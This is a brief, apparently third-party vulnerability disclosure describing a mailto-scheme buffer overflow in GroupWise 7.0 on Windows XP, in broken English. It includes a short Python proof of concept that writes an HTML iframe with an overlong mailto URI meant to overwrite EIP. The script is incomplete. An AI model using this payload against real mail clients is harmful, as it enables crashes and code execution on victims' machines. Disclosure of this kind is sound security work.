PRODUCT: GroupWise 7.0
OS: Windows Xp
The scheme "mailto" is vulnerable if one takes as default mail client to GroupWise, the fault is to implement the scheme followed by an extensive argument and this causes the buffer overflow. This brings the consequence that can overwrite the EIP and is able to execute arbitrary code. The result with a debbuger us what reveals.
Access violation when executing 
What power is that vulnerability to attach a html file which is included in an iframe with the scheme badly formed runs only watch.
proof of concept
a = "<iframe src='mailto:"
a += "A" * 1530
a += "x61x61x61x61"
a += "' width='320' height='300' scrolling='yes' name='content'></iframe>"
file = open("test.html", "w")
Juan Pablo Lopez Yacubian